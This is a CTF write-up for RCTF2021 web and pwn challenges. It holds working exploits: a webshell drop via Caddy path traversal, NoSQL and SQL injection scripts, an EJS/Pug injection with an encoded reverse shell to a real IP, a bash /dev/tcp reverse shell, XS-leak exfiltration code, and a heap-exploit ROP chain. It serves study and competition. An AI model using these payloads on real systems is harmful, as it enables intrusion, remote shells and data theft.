RCTF2021
[toc]
如何复现
All CHALLENGE ENVIRONMENT CAN BE FINED IN RCTF2021
https://github.com/R0IS/RCTF2021
Web
VerySafe
从这篇文章了解到了一个比较有意思的issue 2-and-a-bit-of-magic
Caddy <= 2.4.2 在传递script_path给php-fpm的时候可以目录穿越,但是这并没有被分配一个CVE。
刚好我记得 MeowWorld in 巅峰极客 和 camp-ctf-2015 中有利用php自带文件RCE的点,非常感谢这两出题的师傅,让我能够搞一个比较好玩的CTF题。
在php官方提供的php容器中 register_argc_argv 是默认开启的,而且也默认包含peclcmd.php,于是就可以在默认php-fpm的docker和caddy<=2.4.2的环境下无条件RCE。
Exploit
GET /../usr/local/lib/php/peclcmd.php?+config-create+/tmp/<?=eval($_POST[1]);?>/*+/srv/qqqq.php HTTP/1.1
Host: test.local:54120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
然后访问
POST /../tmp/qqqq.php HTTP/1.1
Host: test.local:54120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1=system('/readflag');
EasyPHP
阅读源码我们可以知道
- Admin权限可以读取文件
- 出了
$request->url
包含login的其他路由都需要登入 ../
不能出现在$_GET
,$_POST
,$_COOKIE
,$_SESSION
接着阅读nginx的配置,我们得知
/admin
只能本地访问REQUEST_URI
来自$uri
,$uri
是没有经过urldecode的. PHP-FPM 回对收到的REQUEST_URI
进行urldecode
绕过鉴权
很明显我们需要绕过鉴权来读取文件,但是根据上述的限制我们无法绕过
于是去阅读下flight的源码
阅读路由相关的函数,可以发现被路由前,会对URL进行一次urldecode
$url_decoded = urldecode( $request->url );
然后用这样的payload来绕过 /%2561%2564%256d%2569%256e%3flogin=123
Bypass ../
limitation
拿到admin权限后,我们只能访问./
下的文件,而flag并不在./
下,于是我们还要绕过../
的限制
读取的文件是这样构成的: "./".$request->query->data
很容易发现,代码是针对$_GET
来过滤的,而读取的文件却是从"./".$request->query->data
获取的,那么让我们看看这两者有什么区别
阅读生成 $request->query
的相关源码
$request->query
第一次是通过下面这串代码来赋值的
'query' => new Collection($_GET)
class Collection{
public function __construct(array $data = array()) {
$this->data = $data;
}
}
但是接着它又会在init中被覆盖
public function init(){
...
// Default url
if (empty($this->url)) {
$this->url = '/';
}
// Merge URL query parameters with $_GET
else {
$_GET += self::parseQuery($this->url);
$this->query->setData($_GET);
}
...
}
public static function parseQuery($url) {
$params = array();
$args = parse_url($url);
if (isset($args['query'])) {
parse_str($args['query'], $params);
}
return $params;
}
ok,tiem to exploit
Exploit
GET /%2561%2564%256d%2569%256e%3flogin=123%26data=..%252f..%252f..%252f..%252fflag HTTP/1.1
Host: 127.0.0.1:60080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
CandyShop
商店可以注册和登录 但是新注册的账号都是没有激活的 2333
static add = async (username, password, active) => {
let user = {
username: username,
password: password,
active: active
}
let client = await connect()
await client.db('test').collection('users').insertOne(user)
}
翻源码可以看到有一个激活的账号 但是你不知道密码>_<
let users = client.db('test').collection('users')
users.deleteMany(err => {
if (err) {
console.log(err)
} else {
users.insertOne({
username: 'rabbit',
password: process.env.PASSWORD,
active: true
})
}
})
/login路由留了一个NoSQL注入
router.post('/login', async (req, res) => {
let {username, password} = req.body
// 平平无奇的NoSQL注入
let rec = await db.Users.find({username: username, password: password})
if (rec) {
// 这里算是一个提示
if (rec.username === username && rec.password === password) {
res.cookie('token', rec, {signed: true})
res.redirect('/shop')
} else {
res.render('login', {error: 'You Bad Bad >_<'})
}
} else {
res.render('login', {error: 'Login Failed!'})
}
})
可以通过两个不同回显来盲注出密码
import requests
from urllib.parse import quote
url = 'http://localhost:3000/user/login'
result = ''
for i in range(1, 233):
ascii_min = 0
ascii_max = 128
while ascii_max - ascii_min > 1:
mid = (ascii_min + ascii_max) // 2
data = 'username=rabbit&password[$lt]=' + quote(result + chr(mid))
r = requests.post(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
if 'Bad' in r.text:
ascii_max = mid
else:
ascii_min = mid
print(ascii_min, ascii_max, mid)
if ascii_min == 0:
break
result += chr(ascii_min)
print(result)
print(result)
/order路由这里
router.post('/order', checkLogin, checkActive, async (req, res) => {
let {username, candyname, address} = req.body
let tpl_path = path.join(__dirname, '../views/confirm.pug')
fs.readFile(tpl_path, (err, result) => {
if (err) {
res.render('error', {error: 'Fail to load template!'})
} else {
// 模板渲染前的文本替换 所以要干什么你懂的
let tpl = result
.toString()
.replace('USERNAME', username)
.replace('CANDYNAME', candyname)
.replace('ADDRESS', address)
res.send(pug.render(tpl, options={filename: tpl_path}))
}
})
})
模板部分内容可控 所以这里可以执行任意的js代码 2333
比如说反弹一个shell
2333' evil=function(){eval(atob("dmFyIG5ldD1wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgibmV0Iik7CnZhciBjcD1wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwp2YXIgc2g9Y3Auc3Bhd24oIi9iaW4vc2giLFtdKTsKdmFyIGNsaWVudD1uZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg3Nzc3LCI4LjEzNS4xNS43MyIsKCk9PntjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw=="));}() rua='2333
hiphop
Writeup
- Read
file:///proc/self/cmdline
to get Hiphop command line, found-dhhvm.debugger.vs_debug_enable=1
. - Install Visual Studio Code & HHVM and start debugging.
- Now you can execute any Hacklang in debug console, try hard to bypass
-dhhvm.server.whitelist_exec=true
. - Capture the traffic and convert TCP stream to gopher URL.
Tips
- When you debug the gopher URL, you may find neither PHP 8 nor curl you installed locally can send gopher requests to the HHVM server. That’s because some versions of curl/libcurl cannot handle gopher URL with ‘%00’.
- Hacklang’s
putenv
never call syscallputenv
, it just put the env into itsg_context
, as is you cannot callmail()
/imap_mail()
withLD_PRELOAD
. I checked almost all functions that will callexecve
and onlyproc_open
allows me to set environment variables. - Calling
system
orproc_open
will runsh -c "YOUR_COMMAND"
, even if command ==""
. So no matter what,getuid
inLD_PRELOAD
will always be called. - Some syntax of Hacklang cannot be used in debugging context so just
eval()
it. - Hacklang is very strange from PHP, its doc is bullshit. What’s, even more, annoys me is that even StackOverflow doesn’t discuss it. Good luck to you hackers.
Solution
<?php
function req ($a) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://124.71.132.232:58080/?url=' . urlencode('gopher://127.0.0.1:8999/_' . urlencode($a)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
var_dump(curl_error($ch));
curl_close($ch);
}
$sandbox = '/var/www/html/sandbox/1b5337d0c8ad813197b506146d8d503d/a.so';
$command = 'bash -i >& /dev/tcp/YOURIP/YOURPORT 0>&1';
$ldpreload = './ldpreload/a.so';
req('{"command":"attach","arguments":{"name":"Attach","type":"hhvm","request":"attach","host":"localhost","port":8999,"remoteSiteRoot":"/","localWorkspaceRoot":"/","__configurationTarget":5,"__sessionId":"","sandboxUser":"root"},"type":"request","seq":1}' . "\0" . '{"command":"evaluate","arguments":{"expression":"file_put_contents(\'' . $sandbox . '\',base64_decode(\'' . base64_encode(file_get_contents($ldpreload)) . '\'));eval(base64_decode(\'' . base64_encode('function aa(){$ch=1;proc_open(\'\',dict[],inout $ch,\'\',dict[\'LD_PRELOAD\'=>\'' . $sandbox . '\',\'COMMAND\'=>\'bash -c \\\'' . $command . '\\\'\']);}') . '\'));aa();","context":"repl"},"type":"request","seq":2}' . "\0");
xss_it
Solution 1 XSS in EJS
Bypass EJS restrictions for XSS,EJS has RCE in versions 2.7.2 to 3.1.5 https://www.freebuf.com/articles/web/261607.html, the latest version 3.1.6 tries to fix the problem
but the fix can be bypassed,This tip has been out in hitch 2019 before ,You can refer to the following articles https://262.ecma-international.org/5.1/ 。
So finally the payload can be constructed as follows
?asoul={"compileDebug":1,"filename":"aaaa\u2028function%20escapeFn() {alert(__lines)}//","client":false,"jiaran":"a","xiangwan":"b","beila":"c","jiale":"d","nailin":"e"}
Solution 2 XS-leak in EJS
This CTF challenge has very little code, but I set up a user-controllable data insertion into the iframe srcdoc, the reason for this is to make the CTF players think this is for XSS but it’s actually to prepare for this solution,And the title XSS? No! is also a hint to this solution。There is a user-controllable parameter delimiter, which can be specially constructed to match the template so that when the delimiter parameter is used, this feature allows EJS to report an error when the template is matched, and to match the flag in the XS-leak template normally when it is wrong.
Eventually the following code can be constructed to do the leak
<html>
<body>
<script>
flag = 'RCTF{'
exfil = 'http://vps/?flag=' //your server addr
query = 'http://172.28.1.120/?asoul={%22jiaran%22:%221%22,%22xiangwan%22:%222%22,%22beila%22:%223%22,%22jiale%22:%224%22,%22nailin%22:%225%22,%20%22delimiter%22:%22%=%20jiaran+xiangwan+beila+jiale+nailin%20%%3E'
chars = 'abcdefghijklmnopqrstuvwxyz0123456789<!{}|_'
size = chars.length
function count(i) {
if (window.frames[i].frames.length == 0) {
fetch(exfil + encodeURI(flag + chars.charAt(i) ))
}
}
for (var i=0; i<size; i++) {
var frame = document.createElement('iframe')
frame.setAttribute('src', query + encodeURI(flag + chars.charAt(i)) + "%22}")
frame.setAttribute('onload', `count(${i})`)
document.body.appendChild(frame)
}
</script>
</body>
</html>
Solution 3 Attack chrome
Bot is puppeteer because it is along with the previous CTF challenge forgot to change to the latest version, Bot’s Chrome version is 77 and was played directly by a binary player with Chrome.
ns_shaft_sql
#coding: utf-8
import requests
import base64
url = "http://192.168.233.51:23334/"
php_sessid = "3be7fe291b06ffc2db946bd992e03b66"
php_sessid = 'wdwdwdwdwdwdwdwd'
key = "QXKaMbSr"
payloads = [
f"select bin_to_uuid((select v from s where k='{key}'));",
f"select extractvalue(1,concat(0x7e,(select v from s where k='{key}')));",
f"select updatexml(1,concat(0x7e,(select v from s where k='{key}')),1);",
f"select ST_ASBINARY(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_ASGEOJSON(unhex('0000000001010000000000000000000000000000000000F03F'), 2, (select v from s where k='{key}'));",
f"select ST_ASTEXT(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'))",
f"select ST_ASWKB(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'));",
f"select ST_ASWKT(unhex('0000000001010000000000000000000000000000000000F03F'), (select concat(v,'=wdwd') from s where k='{key}'))",
f"select st_geomcollfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geomcollfromtxt('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select ST_GeomCollFromWKB('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometrycollectionfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometrycollectionfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometryfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geometryfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_GEOMFROMGEOJSON('', (select v from s where k='{key}'));",
f"select st_geomfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_geomfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT st_latfromgeohash((select concat('a',v) from s where k='{key}'));",
f"select st_linefromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linefromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linestringfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_linestringfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_LONGFROMGEOHASH((select concat('-',(select v from s where k='{key}'))));",
f"select st_mlinefromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mlinefromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpolyfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_mpolyfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multilinestringfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multilinestringfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipolygonfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_multipolygonfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"SELECT ST_POINTFROMGEOHASH((select concat('a',v) from s where k='{key}'), 0);",
f"select st_pointfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_pointfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polyfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polyfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polygonfromtext('', 0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select st_polygonfromwkb('',0,(select concat(v,'=wdwd') from s where k='{key}'));",
f"select uuid_to_bin((select v from s where k='{key}'));",
f"select v from s where k='{key}' and gtid_subset(v,'a');",
f"select(gtid_subtract((select(v)from(s)where(k)='{key}'),'A'));",
]
def submit_payload(payload):
cookies = {
"PHPSESSID": php_sessid
}
data = {
"sql": base64.b64encode(payload.encode()).decode()
}
print(data['sql'])
res = requests.post(url, data=data, cookies=cookies)
print(res.status_code)
print(res.text)
if "Success" in res.text:
return True
else:
return False
for payload in payloads:
print(f"[+] payload = {payload}")
res = submit_payload(payload)
print(f"[+] res = {res}")
print('*'*20)
if not res:
break
EasySQLi
这是一个关于如何找到预编译中耗时函数的挑战,在MySQL中会对需要执行的SQL语句进行预处理来优化一些无用的语句或者确定类型,但是其中有些表达式会造成一些时间消耗从而导致信息的泄漏。
在本次挑战中使用了msleep
延长了每次请求的时间,需要选手找到耗时更长(能够稳定延迟1.5秒以上)的攻击payload了,来获取flag。
另外,在题目中提到的 嘉然(Diana) 是来自中国的VUP团体 —— A-SOUL的成员。
一共有2个队伍给出了答案,下面是他们的Payload:
From Nu1L
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
updatexml (1,
IF(
ASCII(SUBSTR((SELECT USER()), 1, 1 )) = 65,
CONCAT(REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('b', 10000000)),
1
),
1
)
)
P.S. 这个解法大概只能造成0.5s-0.7s的延迟,但是在比赛中,Nu1L使用同时发大量请求的导致可以观测到大于1秒的延迟。
From Redbud
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
updatexml (1,
concat(
'~',
(
if(
(substr(hex(user()), 1, 1)='A'),
(select length(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex('1')))))))))))))))))))))))))))))))),
'a'
)
),
1
),
1
)
)
可以看到,上方的两个解答都是使用了updatexml
函数,但是实际上造成延迟的函数是各不相同的,与之相关类似的Payload还有:
From f1sh
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
SELECT 1 WHERE(EXTRACTVALUE(CONCAT('<a>', REPEAT('<b>X</b>', IF((ASCII(SUBSTR((SELECT USER()), 1, 1 )) = 65), 5999999, 1)),'</a>'),'//b'))
)
当然除了跟xml相关,我们还有没其他方式让服务器忙起来呢?
Rely on ReDos
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
SELECT 1 WHERE
IF(
ASCII(SUBSTR(USER(), 1, 1 )) = 65,
REPEAT('a', 100),
'a'
)
RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
)
Rely on JSON_TABLE
SELECT
CONCAT( 'RCTF{', USER (), '}' ) AS FLAG
WHERE
'🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬'
ORDER BY
(
SELECT
1
FROM
JSON_TABLE (
CONCAT (
'[',
REPEAT(
'1,',
IF(
ASCII(SUBSTR(USER(), 1, 1 )) = 65,
9999999,
1
)
),
'1]'
),
'$[*]'
COLUMNS (
NESTED PATH '$' COLUMNS (r INT PATH '$')
)
)
AS t
)
如果你有兴趣了解造成耗时的原因,可以尝试编译并且调试MySQL,这个这些链接将会对你有用.
https://github.com/mysql/mysql-server/blob/08f46b3c00ee70e7ed7825daeb91df2289f80f50/sql/item_xmlfunc.cc#L2317
https://github.com/mysql/mysql-server/blob/9ca3270b1fe51a297fb07138da0e6105528ed7ec/sql/sql_resolver.cc#L785
https://github.com/mysql/mysql-server/blob/540d17e85339fbc236757ab30b381d4b02e2b121/sql/item_regexp_func.cc#L101
https://github.com/mysql/mysql-server/blob/a1f679f3f92d51b27f6769073d63b6c1fdcf8424/sql/item_json_func.cc#L154
Pwn
ezheap
Due to my mistake, it led to an unintended solution. emmmmm……
The soure code and solution can be found in https://github.com/ruan777/RCTF2021/tree/main/ezheap/src
Here is the structure and macro used in the challange:
#define BYTE_ARRAY 1
#define U16_ARRAY 2
#define U32_ARRAY 3
#define FLOAT_ARRAY 4
#define UNUSD 1
#define USED 2
#define FREED 3
#define LARGEMEM_COUNT 0x10
#define PAGE_COUNT 0x400
#define SIZE2IDX(size) ((size>>2) - 1)
#define MAX_ALLOC_SIZE (128*1024*1024)
#define CHUNK_HEAD_SIZE 0x4
struct Chunk{
struct Page* page_addr; // low 12 bit used to represent chunk's size
struct Chunk* next; // only used in free
};
struct Page{
uint32_t chunk_size;
uint32_t chunk_count;
uint8_t* chunk_addr;
uint32_t free_chunk_count;
struct Chunk* free_list;
struct Page* next_page;
struct Page* prev_page;
struct Mem_manager* memManager;
uint8_t chunk_status[4];
};
struct Mem_manager{
uint32_t size_threshold; // If the size allocated by the user exceeds the threshold, directly using mmap
void* large_mem[LARGEMEM_COUNT];
uint32_t large_size[LARGEMEM_COUNT];
uint8_t large_mem_status[LARGEMEM_COUNT];
struct Page* pages[PAGE_COUNT];
uint8_t page_status[PAGE_COUNT];
};
struct Random{
uint8_t randBytes[0x1008];
uint32_t idx;
uint32_t size;
};
struct Array{
uint32_t element_size;
uint32_t length;
uint8_t* element_addr;
};
The expected vulnerability is in the alloc function of the float array:
case FLOAT_ARRAY:
align_size = ((size + 7u) >> 3u) << 3u; // align to 8
ptr = mem_alloc(size);
if(ptr == NULL){
puts("mem alloc error!");
return;
}
FloatArrays[idx] = mem_alloc(sizeof(struct Array));
FloatArrays[idx]->element_addr = ptr;
FloatArrays[idx]->element_size = sizeof(double);
FloatArrays[idx]->length = align_size / FloatArrays[idx]->element_size;
// FloatArrays[idx]->type = FLOAT_ARRAY;
break;
The length is calculated from the aligned size,and the size of the floatArray is 8-byte aligned, while the heap allocator is 4-byte aligned. So we can overflow 4 bytes when alloc floatArray which size is 4-byte aligned.
However, the lack of strict idx checking causes the edit and show functions to be out of bounds for all types of arrays so that you can use a negative idx to bypass the check. 🙁
Here is my solution step:
- alloc floatArray which size is 0xc to leak page addr which chunk size is 0x10
- alloc floatArray which size is 0xfc leak page addr which chunk size is 0x100
- overwrite the chunk head which size is 0x10 to pointer page addr that leak by previous step
- free all the chunk that size is 0x10 and the modified chunk in previous step will into page that chunk size is 0x100
- alloc one 0xfc U32Array to fetch it back , now we can overwrite the adjacent Array struct’s element_addr to get arbitrary read and write
- leak stack addr and do rop
exp:
from pwn import *
import struct
# p = process("./ezheap",env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("123.60.25.24",20077)
def cmd(c):
p.recvuntil("enter your choice>>")
p.sendline(str(c))
def q2d(value):
return struct.unpack("<d", p64(value))[0]
def d2q(value):
return u64(struct.pack("<d",value))
def pack_double(value):
return struct.pack("<d",value)
def alloc(type,size,idx):
cmd(1)
p.recvuntil("type >>")
p.sendline(str(type))
p.recvuntil("size>>")
p.sendline(str(size))
p.recvuntil("idx>>")
p.sendline(str(idx))
def edit(type,idx,element_idx,value):
cmd(2)
p.recvuntil("type >>")
p.sendline(str(type))
p.recvuntil("idx>>")
p.sendline(str(idx))
p.recvuntil("element_idx>>")
p.sendline(str(element_idx))
p.recvuntil("value>>")
p.sendline(str(value))
def view(type,idx,element_idx):
cmd(3)
p.recvuntil("type >>")
p.sendline(str(type))
p.recvuntil("idx>>")
p.sendline(str(idx))
p.recvuntil("element_idx>>")
p.sendline(str(element_idx))
def dele(type,idx):
cmd(4)
p.recvuntil("type >>")
p.sendline(str(type))
p.recvuntil("idx>>")
p.sendline(str(idx))
# leak page which chunk size is 0x10
for i in range(0x100):
alloc(4,0xc,i)
page_10 = 0
page_100 = 0
found_idx = 0
found = False
for i in range(0x100):
view(4,i,1)
p.recvuntil("value>>\n")
value = float(p.recvuntil("\n",drop=True))
if(value != 0.0 and ((d2q(value)>>32) & 0xfff) == 0x10):
page_10 = (d2q(value)>>32) & 0xfffff000
found_idx = i
found = True
break
if(found == False):
info("bad luck!")
exit(0)
found = False
# leak page which chunk size is 0x100
for i in range(0x100):
alloc(4,0xfc,i+0x100)
for i in range(0x100):
view(4,i+0x100,0x1f)
p.recvuntil("value>>\n")
value = float(p.recvuntil("\n",drop=True))
if value != 0.0 and ((d2q(value)>>32) & 0xfff) == 0x100:
page_100 = (d2q(value)>>32) & 0xfffff000
found = True
break
if(found == False):
info("bad luck!")
exit(0)
# leak successful
info("page(chunk size 0x10) addr : " + hex(page_10))
info("page(chunk size 0x100) addr : " + hex(page_100))
# now we overwrite the chunk's head
fake_addr = (page_100 | 0x100) << 32
edit(4,found_idx,1,repr(q2d(fake_addr)))
info("found_idx : " + hex(found_idx))
# free all the chunk that size is 0x10
for i in range(1,0x100):
dele(4,i)
alloc(3,0xc,i)
# now we have a fake chunk that size is 0x100, to fetch it back
alloc(3,252,0)
# modify the next Array struct to gain arbitrary read and write
offset = -1
for i in range(4,0x3f):
view(3,0,i)
p.recvuntil("value>>\n")
value = int(p.recvuntil("\n",drop=True))
if(value == 0x3):
offset = i + 1 # element_addr's offset
break
if(offset == -1):
info("bad luck!")
exit(0)
edit(3,0,offset,(page_10&0xfffff000)+0x4)
# info("page(chunk size 0x10) addr : " + hex(page_10))
info("found offset : " + str(offset))
# info("page(chunk size 0x100) addr : " + hex(page_100))
# info("found_idx : " + hex(found_idx))
# to search the corrupted chunk
found_idx = -1
for i in range(1,0x100):
view(3,i,0)
p.recvuntil("value>>\n")
value = int(p.recvuntil("\n",drop=True))
if(value == 0x400):
found_idx = i
break
if(found_idx == -1):
info("bad luck!")
exit(0)
# new we can arbitrary read and write
def arb_read(addr):
edit(3,0,offset,addr)
view(3,found_idx,0)
p.recvuntil("value>>\n")
value = int(p.recvuntil("\n",drop=True))
return value
def arb_write(addr,value):
edit(3,0,offset,addr)
edit(3,found_idx,0,value)
manager_addr = arb_read((page_10&0xfffff000)+0x1c)
info("manager addr : " + hex(manager_addr))
elf = ELF("./ezheap",checksec=False)
libc = ELF("./libc-2.27.so",checksec=False)
elf.address = manager_addr - 0x9060
read_addr = arb_read(elf.got["read"])
libc.address = read_addr - 0xe5620
env_addr = libc.sym["environ"]
stack_addr = arb_read(env_addr)
info("libc base : " + hex(libc.address))
info("env_addr : " + hex(env_addr))
# search for main func ret addr
main_ret_in_stack = 0
for i in range(100):
t = arb_read(stack_addr - i * 4)
if t == libc.address + 0x18f21:
main_ret_in_stack = stack_addr - i * 4
break
if main_ret_in_stack == 0:
info("bad luck!")
exit(0)
# do rop
rop_chain = [libc.sym["execve"],0,libc.search("/bin/sh\x00").next(),0,0]
rop_chain_len = len(rop_chain)
for i in range(rop_chain_len):
arb_write(main_ret_in_stack + i * 4,rop_chain[i])
cmd(5)
p.interactive()
game
This is a simple VM in which you can play a simple text-based role-playing game. The game settings are based on a famous MMORPG Final Fantasy 14 and the dragon’s settings are inspired by Bahamut in FF14.
- The registers of the VM are as follows:
static long long r[4]; // Four General Purpose Registers static long long pc = 0;//Instruction Pointer Registers static long long bk = 0;//Data Pointer Registers //Three FLAGS Register static long long zf = 0; static long long gf = 0; static long long lf = 0;
- The instructions of the VM are as follows:
#define ATK '\x01' //Attack
#define CM '\x02' //Cast magic
#define STBF '\x03'//Set Buff
#define LDMHP '\x04'//Load My HP
#define LDEHP '\x06'//Load Enemy's HP
#define CMP '\x08' //Compare
#define JMP '\x09' //Jump
#define JZ '\x0a' //Jump if zero
#define JG '\x0b' //Jump if greater
#define JL '\x0c' //Jump if less
#define LDREG '\x0d' //Load to register
#define ADD '\x10' //Add
#define TALK '\x11' //Talk to enemy(alloc memory and read from user)
#define SLCE '\x12' //Keep Silence(free)
#define DICE '\x13 //Use Dynamis Dice to Change enemy's attack
-
The struct of Player and Boss:
#define WDFLAG 1 << 5 //BUFF FLAG, exemption from any damage for 1 round #define SHJDFLAG 1 << 1 //BUFF FLAG, damage reduction in 1 round typedef struct character { long long hp; long long attack; char buff; char padding[0xa0-1]; } character;
- Skill Description
You can use CM Magic_ID [Magic options] instruction to cast a magic(for example, ‘\x02\x00’ to cast Benediction), the magics you can cast are as follow:
- Benediction: Skill of White Mage. Restores all of a target’s HP.
- Afflatus Solace: Skill of White Mage. Restores target’s HP.
- Despair: Skill of Black Mage. Deals fire damage.
- Super bolide: Skill of Gun Breaker. Reduces HP to 1 and renders you impervious to most attacks. Here you must set the WDFLAG manually.
- Reprisal: Skill of Tanks. Reduces enemies’ damage.
And the BOSS’s skills are as follows:
- Morn Afah: Big party stack dealing massive magic-based damage. Here the damage is 0xffffffff and since your HP maximum is 120000, to deal with it, you must use Super bolide to avoid this attack.
- Exaflare: Spawns a series of AoE circles dealing lethal damage to all players standing inside. Here the damage is 100000, please pay attention to your HP, and it’s better to use Reprisal.
- Flare Breath: Conal cleave dealing very significant magic damage.
- Vulnerability
After round 29, a new enemy will show up, and the BOSS’s struct pointer will be stored in the bk register, when you defeat it, the game will new a character struct, copy the data from bk, and the free the bk, but will not clear bk, so you can double free this struct.
if(stny->hp <= 0) { character * tmp = bk; BH = calloc(1,sizeof(character)); BH->hp = tmp->hp; BH->attack = tmp->attack; free(stny); stny = 0; free(bk);//bk was not set to 0 puts("The follower is down,and the angry dragon came back with Exaflare!"); return Exaflare(); }
You can use Dynamis Dice to change the tcache cookie to bypass the double free check of tcache.
case DICE: { long long newatk = rand()%20000; BH->attack = newatk; if(bk) ((character *)bk)->attack = rand()%20000; printf("You used Dynamis Dice and the dragon's attack changed to %d\n",newatk); break; }
The most troublesome things is to leak, when fighting with the follower, you can free the bk to unsorted bin, and malloc(1) to get it back. After defeat the follower, the HP of BOSS(copy from bk) will be arena_address, and then you can use LDEHP CMP JZ/JG/JL instructions to leak the HP value.
-
Exploit
